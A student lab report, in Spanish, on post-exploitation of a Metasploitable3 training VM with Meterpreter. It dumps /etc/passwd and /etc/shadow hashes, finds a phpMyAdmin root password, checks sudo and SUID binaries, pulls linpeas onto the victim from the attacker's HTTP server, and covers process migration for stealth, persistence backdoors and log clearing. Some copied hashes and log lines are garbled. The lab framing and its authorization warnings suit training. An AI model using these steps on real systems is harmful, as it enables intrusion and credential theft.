

Práctica 3 — Post-explotación, escalada de privilegios y persistencia

Objetivos

- Analizar el sistema tras obtener acceso
- Escalar privilegios (si no eres root)
- Extraer información sensible
- Entender técnicas de persistencia
- Documentar un pentest

1. Recolección de información (Post-explotación)

Una vez dentro (shell o Meterpreter) vamos a obtener los siguientes datos:

1.1 Información básica

```
sysinfo  
getuid
```

¿Qué usuario eres?

Soy el usuario vagrant

```
msf auxiliary(scanner/ssh/ssh_login) > sessions -i 2  
[*] Starting interaction with 2 ...  
  
meterpreter > getuid  
  
Server username: vagrant  
meterpreter >  
meterpreter > █
```

¿Tienes privilegios de administrador/root?

No directamente. vagrant es un usuario normal sin privilegios root por defecto. Sin embargo, tiene permisos sudo sin contraseña (NOPASSWD: ALL), lo que le permite

ejecutar comandos como root anteponiendo sudo.

1.2 Información del sistema (Linux)

```
uname -a  
cat /etc/os-release
```

Captura de los resultados:

```
meterpreter > uname -a  
[-] Unknown command: uname. Run the help command for more details.  
meterpreter > cat /etc/os-release  
NAME="Ubuntu"  
VERSION="14.04, Trusty Tahr"  
ID=ubuntu  
ID_LIKE=debian  
PRETTY_NAME="Ubuntu 14.04 LTS"  
VERSION_ID="14.04"  
HOME_URL="http://www.ubuntu.com/"  
SUPPORT_URL="http://help.ubuntu.com/"  
BUG_REPORT_URL="http://bugs.launchpad.net/ubuntu/"  
meterpreter > █
```

1.3 Usuarios del sistema

```
cat /etc/passwd
```

```
carles@kalicarles: ~  
Session Acciones Editar Vista Ayuda  
SUPPORT_URL="http://help.ubuntu.com/"  
BUG_REPORT_URL="http://bugs.launchpad.net/ubuntu/"  
meterpreter > cat /etc/passwd  
root:x:0:0:root:/root:/bin/bash  
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin  
bin:x:2:2:bin:/bin:/usr/sbin/nologin  
sys:x:3:3:sys:/dev:/usr/sbin/nologin  
sync:x:4:65534:sync:/bin:/bin/sync  
games:x:5:60:games:/usr/games:/usr/sbin/nologin  
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin  
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin  
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin  
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin  
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin  
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin  
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin  
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin  
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin  
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin  
gnats:x:41:41:Gnats Bug-Reporting System (admin)/var/lib/gnats:/usr/sbin/nologin  
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin  
libuuid:x:100:101::/var/lib/libuuid:  
syslog:x:101:104::/home/syslog:/bin/false  
messagebus:x:102:106::/var/run/dbus:/bin/false  
sshd:x:103:65534::/var/run/sshd:/usr/sbin/nologin  
statd:x:104:65534::/var/lib/nfs:/bin/false  
vagrant:x:900:900:vagrant,,,:/home/vagrant:/bin/bash  
dirmngr:x:105:111::/var/cache/dirmngr:/bin/sh  
leia_organa:x:1111:100::/home/leia_organa:/bin/bash  
luke_skywalker:x:1112:100::/home/luke_skywalker:/bin/bash  
han_solo:x:1113:100::/home/han_solo:/bin/bash  
artoo_detoo:x:1114:100::/home/artoo_detoo:/bin/bash  
c_three_pio:x:1115:100::/home/c_three_pio:/bin/bash  
ben_kenobi:x:1116:100::/home/ben_kenobi:/bin/bash  
darth_vader:x:1117:100::/home/darth_vader:/bin/bash  
anakin_skywalker:x:1118:100::/home/anakin_skywalker:/bin/bash  
jarjar_binks:x:1119:100::/home/jarjar_binks:/bin/bash  
lando_calrissian:x:1120:100::/home/lando_calrissian:/bin/bash  
boba_fett:x:1121:100::/home/boba_fett:/bin/bash  
jabba_hutt:x:1122:100::/home/jabba_hutt:/bin/bash  
greedo:x:1123:100::/home/greedo:/bin/bash  
chewbacca:x:1124:100::/home/chewbacca:/bin/bash  
kylo_ren:x:1125:100::/home/kylo_ren:/bin/bash  
mysql:x:106:112:MySQL Server,,,:/nonexistent:/bin/false  
avahi:x:107:114:Avahi mDNS daemon,,,:/var/run/avahi-daemon:/bin/false  
colord:x:108:116:colord colour management daemon,,,:/var/lib/colord:/bin/false  
meterpreter > █
```

¿Hay usuarios interesantes? ¿cuales son?

Sí, destacan root por ser el administrador y los usuarios con nombres de personajes de Star Wars, que son cuentas creadas específicamente para esta máquina vulnerable.

Cuentas con shell (/bin/bash)

Al ejecutar `cat /etc/passwd` se listan todos los usuarios del sistema. Los que tienen shell /bin/bash (pueden iniciar sesión) son:

- root (administrador)
- vagrant (usuario por defecto)
- leia_organa
- luke_skywalker
- han_solo
- artoo_detoo
- c_three_pio
- ben_kenobi
- darth_vader
- anakin_skywalker
- jarjar_binks
- lando_calrissian
- boba_fett
- jabba_hutt
- greedo
- chewbacca
- kylo_ren

1.4 Archivos interesantes

```
ls /home
ls /var/www
```

```
meterpreter > ls /home/
Listing: /home/
```

Mode	Size	Type	Last modified	Name
040755/rwxr-xr-x	4096	dir	2020-10-29 20:39:01 +0100	anakin_skywalker
040755/rwxr-xr-x	4096	dir	2020-10-29 20:38:54 +0100	artoo_detoo
040755/rwxr-xr-x	4096	dir	2020-10-29 20:26:38 +0100	ben_kenobi
040755/rwxr-xr-x	4096	dir	2020-10-29 20:26:38 +0100	boba_fett
040755/rwxr-xr-x	4096	dir	2020-10-29 20:26:38 +0100	c_three_pio
040755/rwxr-xr-x	4096	dir	2020-10-29 20:26:39 +0100	chewbacca
040755/rwxr-xr-x	4096	dir	2020-10-29 20:26:38 +0100	darth_vader
040755/rwxr-xr-x	4096	dir	2020-10-29 20:26:38 +0100	greedo
040755/rwxr-xr-x	4096	dir	2020-10-29 20:26:38 +0100	han_solo
040755/rwxr-xr-x	4096	dir	2020-10-29 20:26:38 +0100	jabba_hutt
040755/rwxr-xr-x	4096	dir	2020-10-29 20:26:38 +0100	jarjar_binks
040755/rwxr-xr-x	4096	dir	2020-10-29 20:39:01 +0100	kylo_ren
040755/rwxr-xr-x	4096	dir	2020-10-29 20:26:38 +0100	lando_calrissian
040755/rwxr-xr-x	4096	dir	2020-10-29 20:26:38 +0100	leia_organa
040755/rwxr-xr-x	4096	dir	2020-10-29 20:26:38 +0100	luke_skywalker
040755/rwxr-xr-x	4096	dir	2026-03-24 17:41:45 +0100	vagrant

```
meterpreter > ls /var/www/
Listing: /var/www/
```

Mode	Size	Type	Last modified	Name
040755/rwxr-xr-x	4096	dir	2020-10-29 20:28:07 +0100	cgi-bin
040757/rwxr-xrwx	4096	dir	2026-03-26 18:32:07 +0100	html
100777/rwxrwxrwx	3478	fil	2026-04-16 16:20:38 +0200	log.html
040777/rwxrwxrwx	4096	dir	2020-10-29 20:28:07 +0100	uploads

```
meterpreter > █
```

Buscar:

- contraseñas
- ficheros de configuración
- backups

¿Qué has encontrado?

Archivos interesantes:

Al explotar el sistema he encontrado los siguientes elementos relevantes:

- /var/www/log.html → Archivo con permisos 777, lo que significa que cualquier usuario puede leerlo, modificarlo o ejecutarlo. Esto supone un riesgo de seguridad.
- /var/www/uploads/ → Directorio destinado a subir archivos, potencialmente vulnerable a subida de webshells.
- Directorios /home/ → Existen múltiples usuarios con nombres de personajes de Star Wars, lo que indica que el sistema fue configurado con fines educativos.

2. Búsqueda de credenciales

2.1 Archivos sensibles

```
cat /etc/shadow
```

Captura del resultado:

```

meterpreter > shell
Process 2115 created.
Channel 5 created.
sudo cat /etc/shadow
root!:18564:0:99999:7:::
daemon*:16176:0:99999:7:::
bin*:16176:0:99999:7:::
sys*:16176:0:99999:7:::
sync*:16176:0:99999:7:::
games*:16176:0:99999:7:::
man*:16176:0:99999:7:::
lp*:16176:0:99999:7:::
mail*:16176:0:99999:7:::
news*:16176:0:99999:7:::
uucp*:16176:0:99999:7:::
proxy*:16176:0:99999:7:::
www-data*:16176:0:99999:7:::
backup*:16176:0:99999:7:::
list*:16176:0:99999:7:::
irc*:16176:0:99999:7:::
gnats*:16176:0:99999:7:::
nobody*:16176:0:99999:7:::
libuuid!:16176:0:99999:7:::
syslog*:16176:0:99999:7:::
messagebus*:18564:0:99999:7:::
sshd*:18564:0:99999:7:::
statd*:18564:0:99999:7:::
vagrant:$6$NABMNgxO$T2lvEhArjOImjvROySq8vka/r8MWhhzNgT3Z5FS1LcPS5D325ESK5LjFJymb2jo/m4NmDg8aEl0TWWI3la.Y3/:18564:0:99999:7:::
dirmngr*:18564:0:99999:7:::
leia_organa:$1$N6DIbGGZ$LpERCrfi8IXlNebhQuYlK/:18564:0:99999:7:::
luke_skywalker:$1$/7D550zb$Y/aKb.UNrDS2w/nZVq.LL/:18564:0:99999:7:::
han_solo:$1$6jIF3qTC$7jEXfQsNENuWYe06cK7m1.:18564:0:99999:7:::
artoo_detoo:$1$tfzyRnv$mawnXAR4GgABt8rtndfv.:18564:0:99999:7:::
c_three_pio:$1$lx7tKuo$xuM4AxkByTUD78BaJdYdG.:18564:0:99999:7:::
ben_kenobi:$1$5nfRD/bA$y7Z2D0NimJTbX9FtvHJX1:18564:0:99999:7:::
darth_vader:$1$rLuMkR1R$YHumHRxhswnf07eTUUFHJ.:18564:0:99999:7:::
anakin_skywalker:$1$jlpeszLc$PW4IPiuLTwiSH5YaTLRaB0:18564:0:99999:7:::
jarjar_binks:$1$NokFi0c$F.SvjZQjYRSuoBuobRWMh1:18564:0:99999:7:::
lando_calrissian:$1$Af1ek3xT$Nkc8jkJ30gMQWeW/6.ono0:18564:0:99999:7:::
boba_fett:$1$TjxlmV4j$k/rG1vb4.pj.z0yFWJ.ZD0:18564:0:99999:7:::
jabba_hutt:$1$9rpNcs3v//v2ltj5MYhfUOHYVAzjD/:18564:0:99999:7:::
greedo:$1$y0U.f3Tj$tsgBZJbBS4JwtsRwU0a1:18564:0:99999:7:::
chewbacca:$1$.qt4t8zH$RdKbdaFuqc7rYiDXSoQCI.:18564:0:99999:7:::
kylo_ren:$1$rpvxssI$h0BC/qL92d0GgmD/uSELx.:18564:0:99999:7:::
mysql!:18564:0:99999:7:::
avahi*:18564:0:99999:7:::
colord*:18564:0:99999:7:::

```

2.2 Configuraciones con passwords

```
grep -i password /var/www -r
```

¿Has encontrado credenciales reutilizables?

Al ejecutar `grep -i password /var/www -r` he encontrado múltiples referencias a contraseñas. El hallazgo más relevante fue en el archivo `/var/www/html/phpmyadmin/config.inc.php`, donde se encuentran las credenciales de acceso a phpMyAdmin:

- Usuario: root
- Contraseña: sploitme

Estas credenciales permiten acceder al gestor de bases de datos MySQL con privilegios de administrador. Además, podrían ser reutilizables en otros servicios del sistema si el administrador ha empleado las mismas credenciales en múltiples lugares, lo que constituye una mala práctica de seguridad.

3. Escalada de privilegios

Objetivo: pasar de usuario normal → root

3.1 Comprobar sudo

```
sudo -l
```

Si aparece algo como:

```
(user) NOPASSWD: /usr/bin/vim
```

Esto nos indica que hay una posible escalada.

Captura del resultado:

```
meterpreter > sudo -l
[!] Unknown command: sudo. Run the help command for more details.
meterpreter > shell
Process 2122 created.
Channel 7 created.
sudo -l
Matching Defaults entries for vagrant on metasploitable3-ub1404:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User vagrant may run the following commands on metasploitable3-ub1404:
    (ALL : ALL) ALL
    (ALL : ALL) NOPASSWD: ALL
```

El usuario vagrant puede ejecutar cualquier comando como root sin necesidad de introducir una contraseña por lo tanto si que podemos escalar privilegios.

3.2 Buscar binarios SUID

SUID = Set User ID → Es un permiso especial en Linux que hace esto: *Cuando ejecutas un programa, se ejecuta con los permisos del dueño del archivo (normalmente root)*

Es decir, si un archivo pertenece a root y tiene SUID, entonces un usuario normal puede ejecutarlo como si fuera root

Con el siguiente comando buscamos archivos que pueden ejecutarse como root:

```
find / -perm -4000 2>/dev/null
```

Resultado de la búsqueda:

Si que hay archivos que tienen SUID y por lo tanto un usuario normal puede

ejecutarlo como si fuera root.

```
find / -perm -4000 2>/dev/null  
/bin/umount  
/bin/mount  
/bin/su  
/bin/fusermount  
/usr/bin/lppasswd  
/usr/bin/mtr  
/usr/bin/pkexec  
/usr/bin/chfn  
/usr/bin/passwd  
/usr/bin/sudo  
/usr/bin/newgrp  
/usr/bin/gpasswd  
/usr/bin/chsh  
/usr/bin/traceroute6.iputils  
/usr/sbin/uuid  
/usr/sbin/pppd  
/usr/lib/eject/dmccrypt-get-device  
/usr/lib/openssh/ssh-keysign  
/usr/lib/dbus-1.0/dbus-daemon-launch-helper  
/usr/lib/policykit-1/polkit-agent-helper-1  
/sbin/mount.nfs
```

3.3 Usar script automático (linpeas)

¿Qué es linpeas?

linPEAS es un script que analiza automáticamente el sistema en busca de formas de escalar privilegios

¿Para qué sirve?

En vez de hacer esto manualmente:

- buscar SUID
- revisar permisos
- mirar servicios
- buscar contraseñas

linpeas lo hace TODO por ti.

¿Qué analiza?

linpeas revisa cosas como:

- binarios SUID
- permisos incorrectos
- servicios vulnerables

- cron jobs
- variables de entorno
- archivos sensibles
- credenciales

Cómo usarlo

a. Descargar en Kali

Normalmente no viene instalado por defecto:

```
wget  
https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh
```

b. Servirlo desde Kali

```
python3 -m http.server 8000
```

c. Descargarlo en la máquina víctima

Dentro de la máquina comprometida:

```
wget http://IP_KALI:8000/linpeas.sh
```

d. Dar permisos

```
chmod +x linpeas.sh
```

e. Ejecutarlo

```
./linpeas.sh
```

Usa este script en la máquina objetivo:

```
./linpeas.sh
```



```
Do you like PEASS?
```

```
Learn Cloud Hacking      : https://training.hacktricks.xyz  
Follow on Twitter        : @hacktricks_live  
Respect on HTB           : SirBroccoli
```

```
Thank you!
```

```
LinPEAS-ng by carlospolop
```

```
ADVISORY: This script should be used for authorized penetration testing and/or educational purposes only  
permission.
```

```
Linux Privesc Checklist: https://book.hacktricks.wiki/en/linux-hardening/linux-privilege-escalation-che
```

LEGEND:

```
RED/YELLOW: 95% a PE vector
```

```
RED: You should take a look into it
```

```
LightCyan: Users with console
```

```
Blue: Users without console & mounted devs
```

```
Green: Common things (users, groups, SUID/SGID, mounts, .sh scripts, cronjobs)
```

```
LightMagenta: Your username
```

```
Starting LinPEAS. Caching Writable Folders...
```

```
Basic information
OS: Linux version 3.13.0-24-generic (buildd@panlong) (gcc version 4.8.2 (Ubuntu 4.8.2-19ubuntu1) ) #46-Ubuntu SMP Thu Apr 10 19:11:08 UTC 2014
User & Groups: uid=900(vagrant) gid=900(vagrant) groups=900(vagrant),27(sudo)
Hostname: metasploitable3-ub1404

[+] /bin/ping is available for network discovery (LinPEAS can discover hosts, learn more with -h)
[+] /bin/bash is available for network discovery, port scanning and port forwarding (LinPEAS can discover hosts, scan ports, and forward ports. Learn more with -h)
[+] /bin/nc is available for network discovery & port scanning (LinPEAS can discover hosts and scan ports, learn more with -h)

Caching directories . . . . . DONE

System Information

Operative system (T1082)
https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html#kernel-exploits
Linux version 3.13.0-24-generic (buildd@panlong) (gcc version 4.8.2 (Ubuntu 4.8.2-19ubuntu1) ) #46-Ubuntu SMP Thu Apr 10 19:11:08 UTC 2014
Distributor ID: Ubuntu
Description: Ubuntu 14.04 LTS
Release: 14.04
Codename: trusty

Sudo version (T1548.003,T1068)
https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html#sudo-version
Sudo version 1.8.9p5

PATH (T1574.007)
https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html#writable-path-abuses
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/system/sbin:/system/sbin:/system/xbin

Date & uptime (T1082)
Thu Apr 16 14:46:33 UTC 2026
14:46:33 up 1:00, 1 user, load average: 0.54, 0.41, 0.54

Unmounted file-system? (T1082,T1120)
Check if you can mount unmounted devices
/dev/mapper/ubuntuvg-root / ext4 errors=remount-ro 0 1 0 2
UUID=ae0deea2-cc32-44c2-836d-e79494fe5910 /boot ext2 defaults 0 0 0
/dev/mapper/ubuntuvg-swap_1 none swap sw 0 0 0

Any sd*/disk* disk in /dev? (limit 20) (T1082)
disk
sda
sda1
sda2
```

4. Post-explotación con Meterpreter

Si tienes Meterpreter:

4.1 Ver sesiones

sessions

Captura del resultado:

```
msf auxiliary(scanner/ssh/ssh_login) > sessions

Active sessions

Id  Name      Type      Information      Connection
--  --
3   shell    linux    SSH root @      10.2.218.153:36583 → 10.2.218.108:22 (10.2.218.108)
4   meterpreter x86/linux vagrant @ 10.2.218.108 10.2.218.153:4433 → 10.2.218.108:46406 (10.2.218.108)

msf auxiliary(scanner/ssh/ssh_login) > █
```

4.2 Migrar proceso (más sigilo)

¿Qué significa “migrar proceso”?

Cuando usas **Meterpreter**, tu sesión está “enganchada” a un proceso del sistema. Por ejemplo:

- un servicio web
- un proceso temporal
- un programa vulnerable

Tendremos un **problema** si ese proceso se cierra, se reinicia o se crashea, ya que **pierdes la sesión**.

El **objetivo de migrar** es mover tu acceso a otro proceso más estable o menos sospechoso.

Como ver procesos activos

Dentro de meterpreter:

```
ps
```

Ejemplo:

PID	Name	User
----	-----	----
1234	apache2	www-data
1450	sshd	root
2000	bash	user

Cómo elegir un proceso

El proceso elegido debe ser: **estable** (que no se cierre) y **común** (para no levantar sospechas)

Algunas buenas opciones:

- sshd → servicio de SSH
- procesos de sistema
- procesos de usuarios activos

Algunas malas opciones;

- procesos temporales
- scripts
- procesos que acabas de explotar

¿Cómo migrar a otro proceso?

```
migrate <PID>
```

Ejemplo:

```
migrate 1450
```

El resultado esperado es:

```
[*] Migration completed successfully.
```

Ahora tu sesión:

- está dentro de otro proceso
- es más estable
- es más difícil de detectar

¿Qué hacer en la práctica?

Usa los comandos:

```
ps  
migrate <PID>
```

Para migrar a otro proceso y evitar perder la sesión. Haz una captura de pantalla del proceso y del resultado:

En sistemas Linux, el comando migrate no es soportado por el tipo de Meterpreter x86/linux.

Como alternativa para mantener el acceso de forma estable, se puede utilizar el comando shell, que proporciona una shell interactiva del sistema sin depender de un proceso específico.

```
meterpreter > migrate 1574  
[-] The "migrate" command is not supported by this Meterpreter type (x86/linux)  
meterpreter > shell  
Process 15858 created.  
Channel 2 created.  
█
```

4.3 Volcado de hashes

Para obtener hashes de contraseñas usaremos:

```
hashdump
```

Haz una captura del resultado:

El comando hashdump tampoco funciona directamente en Linux. En la salida muestra que necesita la extensión priv pero al ejecutar la extensión muestra un nuevo error informando que la extensión priv no soportada por el tipo de Meterpreter x86/linux.

```
meterpreter > hashdump
[-] The "hashdump" command requires the "priv" extension to be loaded (run: 'load priv')
meterpreter > load priv
Loading extension priv...
[-] Failed to load extension: The "priv" extension is not supported by this Meterpreter type (x86/linux)
[-] The "priv" extension is supported by the following Meterpreter payloads:
[-] - windows/x64/meterpreter*
[-] - windows/meterpreter*
meterpreter > █
```

Como alternativa podemos ejecutar desde la shell el comando sudo cat /etc/shadow para ver los hashes de las contraseñas.

```
sudo cat /etc/shadow
root!:18564:0:99999:7:::
daemon*:16176:0:99999:7:::
bin*:16176:0:99999:7:::
sys*:16176:0:99999:7:::
sync*:16176:0:99999:7:::
games*:16176:0:99999:7:::
man*:16176:0:99999:7:::
lp*:16176:0:99999:7:::
mail*:16176:0:99999:7:::
news*:16176:0:99999:7:::
uucp*:16176:0:99999:7:::
proxy*:16176:0:99999:7:::
www-data*:16176:0:99999:7:::
backup*:16176:0:99999:7:::
list*:16176:0:99999:7:::
irc*:16176:0:99999:7:::
gnats*:16176:0:99999:7:::
nobody*:16176:0:99999:7:::
libuuid!:16176:0:99999:7:::
syslog*:16176:0:99999:7:::
messagebus*:18564:0:99999:7:::
sshd*:18564:0:99999:7:::
statd*:18564:0:99999:7:::
vagrant:$6$NABMNgxO$T2lvEhArjOIImjvROySq8vka/r8MWhhzNgT3Z5FS1LcPS5D325ESK5LjFJymb2jo/m4NmDgBaEL0TWWI3La.Y3/:18564:0:99999:7:::
dirmngr*:18564:0:99999:7:::
leia_organa:$1$N6DIbGGZ$LPERCRfi8IXlNebhQuYlK/:18564:0:99999:7:::
luke_skywalker:$1$/7D550zb$Y/aKb.UNrDS2w7nZVq.LL/:18564:0:99999:7:::
han_solo:$1$6jIF3qTC$7jEXfQsNENuWYeO6cK7m1.:18564:0:99999:7:::
artoo_detoo:$1$tfvzyRny$mawnXAR4GgABt8rtn7Dfv.:18564:0:99999:7:::
c_three_pio:$1$LXx7tKuo$xuM4AxkByTUD78BaJdYdG.:18564:0:99999:7:::
ben_kenobi:$1$5nfRD/bA$y7ZZD0NimJTbX9FtvHJX1:18564:0:99999:7:::
darth_vader:$1$rLuMkR1R$YHumHRxhswmf07eTUUFHJ.:18564:0:99999:7:::
anakin_skywalker:$1$jlpeszLc$PW4IPiuLTwiSH5YaTLRaB0:18564:0:99999:7:::
jarjar_binks:$1$SNokFi0c$F.SvjZQjYRSuoBuobRWMh1:18564:0:99999:7:::
lando_calrissian:$1$Af1ek3xT$nkC8jkJ30gMQWeW/6.ono0:18564:0:99999:7:::
boba_fett:$1$TjxlmV4j$K/rG1vb4.pj.z0yFWJ.ZD0:18564:0:99999:7:::
jabba_hutt:$1$9rpNcs3v$//v2ltj5MYhfUOHYVAZjd/:18564:0:99999:7:::
greedo:$1$V0U.f3Tj$tsG8ZJbBS4JwchSRUW0a1:18564:0:99999:7:::
chewbacca:$1$.qt4t8zH$RdKbdaFuqc7rYiDXSoQCI.:18564:0:99999:7:::
kylo_ren:$1$rpvxsssI$H0BC/qL92d0GgmD/uSELx.:18564:0:99999:7:::
mysql!:18564:0:99999:7:::
```

4.4 Ejecutar comandos del sistema

Cuando estás dentro de **Meterpreter**, NO estás en una terminal normal de Linux. Estás en un entorno especial con el prompt:

```
meterpreter >
```

El problema es que **muchos comandos típicos de Linux NO funcionan directamente**, como

```
ls  
cat /etc/passwd
```

Algunos comandos pueden fallar o comportarse distinto. La **solución** es usar:

```
shell
```

Esto hace que se abra una terminal real del sistema víctima.

Usa shell y ejecuta algún comando de Linux:

```
metasploitables-ubuntu404  
cat /etc/group  
root:x:0:  
daemon:x:1:  
bin:x:2:  
sys:x:3:  
adm:x:4:syslog  
tty:x:5:  
disk:x:6:  
lp:x:7:  
mail:x:8:  
news:x:9:  
uucp:x:10:  
man:x:12:  
proxy:x:13:  
kmem:x:15:  
dialout:x:20:  
fax:x:21:  
voice:x:22:  
cdrom:x:24:  
floppy:x:25:  
tape:x:26:  
sudo:x:27:vagrant,leia_organa,luke_skywalker,han_solo  
audio:x:29:  
dip:x:30:  
www-data:x:33:  
backup:x:34:  
operator:x:37:  
list:x:38:  
irc:x:39:  
src:x:40:  
gnats:x:41:  
ubuntu:x:42:
```

5. Persistencia

¿Qué es la persistencia? Persistencia es poder volver a entrar en el sistema **sin repetir el ataque**. Un ejemplo sencillo: Imagina que ya has entrado en un sistema: si cierras la sesión... pierdes el acceso.

La persistencia consiste en dejar **“una puerta abierta”** para volver cuando quieras. Una analogía fácil: “Es como entrar en una casa y dejar una copia de la llave escondida.”

¿Por qué es importante? En un pentest real el acceso inicial puede ser inestable, los exploits pueden dejar de funcionar y el sistema puede reiniciarse. Necesitas un acceso más fiable

Técnicas típicas:

1. **Crear un usuario nuevo** (con otro nombre evidentemente)

```
useradd hacker  
passwd hacker
```

Esto crea: un usuario normal con contraseña conocida. Luego podrías entrar con:

```
ssh hacker@IP
```

2. **Añadir clave SSH.** En vez de contraseña, usas una clave en el archivo: `~/.ssh/authorized_keys`, Esto permite entrar sin contraseña
3. **Backdoor:** Un acceso oculto al sistema. Ejemplo: un programa que abre un puerto o un servicio que te deja entrar.

MUY IMPORTANTE

Estas técnicas SOLO se usan en entornos de laboratorio o con permiso explícito.

En un pentest real:

- TODO debe estar autorizado
- TODO debe documentarse

6. Limpieza de huellas

¿Qué significa “limpiar huellas”? Es eliminar o reducir las evidencias de que alguien ha accedido al sistema

¿Por qué existen huellas? Cada acción que haces en un sistema deja rastro:

- comandos ejecutados
- accesos
- errores
- conexiones

Todo esto se guarda en **logs (registros)**

Un Ejemplo sencillo, si haces:

```
ssh usuario@maquina
```

El sistema guarda algo como:

```
User usuario logged in from 10.0.2.10
```

¿Qué intentaría hacer un atacante? Borrar o modificar esos registros para no ser detectado.

IMPORTANTE: En un **pentest profesional**:

- NO se deben borrar evidencias sin permiso
- NO se debe ocultar actividad

Porque:

- el cliente necesita saber qué pasó
- forma parte del informe

¿Qué tipo de huellas existen?

1. **Logs del sistema.** En Linux suelen estar en: `/var/log/`

Ejemplos:

- `auth.log` → logins
- `syslog` → eventos del sistema

2. Historial de comandos: Guarda lo que has escrito en la terminal

history

3. Logs de servicios. Ejemplo:

- Apache → accesos web
- SSH → conexiones

Obtén la información que ha guardado el sistema de los comandos que hemos ejecutado durante estas prácticas.

Podemos ver los logs del sistema, el historial de comandos, los logs de SSH o bien las sesiones activas.

Logs del sistema (auth.log y syslog):

```

sudo cat /var/log/auth.log | tail -50
Apr 14 16:13:55 metasploitables3-ubi1404 sudo: pam_unix(sudo:session): session opened for user boba-fett by (uid=0)
Apr 14 16:13:56 metasploitables3-ubi1404 sudo: pam_unix(sudo:session): session closed for user boba-fett
Apr 14 16:14:00 metasploitables3-ubi1404 sudo: pam_unix(sudo:session): session closed for user chewbacca
Apr 14 16:16:36 metasploitables3-ubi1404 login[1964]: pam_unix(login:auth): authentication failure; logname=LOGIN uid=0 euid=0 tty=/dev/tty1 ruser= rhost= user=vagrant
Apr 14 16:16:39 metasploitables3-ubi1404 login[1964]: FAILED LOGIN (1) on '/dev/tty1' FOR 'vagrant', Authentication failure
Apr 14 16:16:47 metasploitables3-ubi1404 login[1964]: pam_unix(login:session): session opened for user vagrant by LOGIN(uid=0)
Apr 14 16:16:47 metasploitables3-ubi1404 system-logd[919]: New session c2 of user vagrant.
Apr 14 16:17:01 metasploitables3-ubi1404 CRON[2057]: pam_unix(cron:session): session opened for user root by (uid=0)
Apr 14 16:17:01 metasploitables3-ubi1404 CRON[2057]: pam_unix(cron:session): session closed for user root
Apr 14 16:18:24 metasploitables3-ubi1404 sshd[2060]: Accepted password for vagrant from 10.2.218.153 port 40751 ssh2
Apr 14 16:18:24 metasploitables3-ubi1404 sshd[2060]: pam_unix(sshd:session): session opened for user vagrant by (uid=0)
Apr 14 16:18:24 metasploitables3-ubi1404 system-logd[919]: New session 1 of user vagrant.
Apr 14 16:18:42 metasploitables3-ubi1404 sudo: root : TTY=unknown ; PWD=/ ; USER=chewbacca ; COMMAND=/opt/readme_app/start.sh
Apr 14 16:18:42 metasploitables3-ubi1404 sudo: pam_unix(sudo:session): session opened for user chewbacca by (uid=0)
Apr 14 16:18:42 metasploitables3-ubi1404 ssh[1574]: Server listening on 0.0.0.0 port 22.
Apr 14 16:18:42 metasploitables3-ubi1404 ssh[1574]: Server listening on :: port 22.
Apr 14 16:18:42 metasploitables3-ubi1404 su[1615]: Successful su for dirmngr by root
Apr 14 16:18:42 metasploitables3-ubi1404 su[1615]: + /dev/console root:dirmngr
Apr 14 16:18:42 metasploitables3-ubi1404 su[1615]: pam_unix(su:session): session opened for user dirmngr by (uid=0)
Apr 14 16:18:42 metasploitables3-ubi1404 su[1615]: pam_unix(su:session): session closed for user dirmngr
Apr 14 16:18:43 metasploitables3-ubi1404 sudo: root : TTY=unknown ; PWD=/ ; USER=boba-fett ; COMMAND=/opt/unrealircd/Unreal3.2/unreal start
Apr 14 16:18:43 metasploitables3-ubi1404 sudo: pam_unix(sudo:session): session opened for user boba-fett by (uid=0)
Apr 14 16:18:43 metasploitables3-ubi1404 sudo: pam_unix(sudo:session): session closed for user boba-fett
Apr 14 16:19:49 metasploitables3-ubi1404 login[1964]: pam_unix(login:session): session opened for user vagrant by LOGIN(uid=0)
Apr 14 16:10:38 metasploitables3-ubi1404 sshd[2059]: Accepted password for vagrant from 10.2.218.153 port 38137 ssh2.
Apr 14 16:10:38 metasploitables3-ubi1404 sshd[2059]: pam_unix(sshd:session): session opened for user vagrant by (uid=0)
Apr 14 16:17:01 metasploitables3-ubi1404 CRON[2101]: pam_unix(cron:session): session opened for user root by (uid=0)
Apr 14 16:17:01 metasploitables3-ubi1404 CRON[2101]: pam_unix(cron:session): session closed for user root
Apr 14 16:17:29 metasploitables3-ubi1404 sudo: vagrant : TTY=unknown ; PWD=/home/vagrant ; USER=root ; COMMAND=/bin/cat /etc/shadow
Apr 14 16:17:29 metasploitables3-ubi1404 sudo: pam_unix(sudo:session): session opened for user root by (uid=0)
Apr 14 16:17:29 metasploitables3-ubi1404 sudo: pam_unix(sudo:session): session closed for user root
Apr 14 16:33:06 metasploitables3-ubi1404 sudo: vagrant : TTY=unknown ; PWD=/home/vagrant ; USER=root ; COMMAND=list
Apr 14 16:40:41 metasploitables3-ubi1404 sudo: vagrant : TTY=tty1 ; PWD=/home/vagrant ; USER=root ; COMMAND=/usr/bin/apt-get install x11-xkb-utils

```

```

Apr 16 13:46:38 metasploit@kali-01404 kernel: [ 24.34986] cgroup: docker-root (f168) created nested group for controller "memory". This has incomplete hierarchy support. Nested cgroups may change behavior in the future.
Apr 16 13:46:38 metasploit@kali-01404 kernel: [ 24.34995] cgroup: "memory" requires setting use_hierarchy to 1 on the root.
Apr 16 13:46:38 metasploit@kali-01404 kernel: [ 24.60152] dockerd: port 1(vethbbcbcf) entered disabled state
Apr 16 13:46:38 metasploit@kali-01404 kernel: [ 24.60896] vethpair: veth pair interface service for vethdb3k3ib.
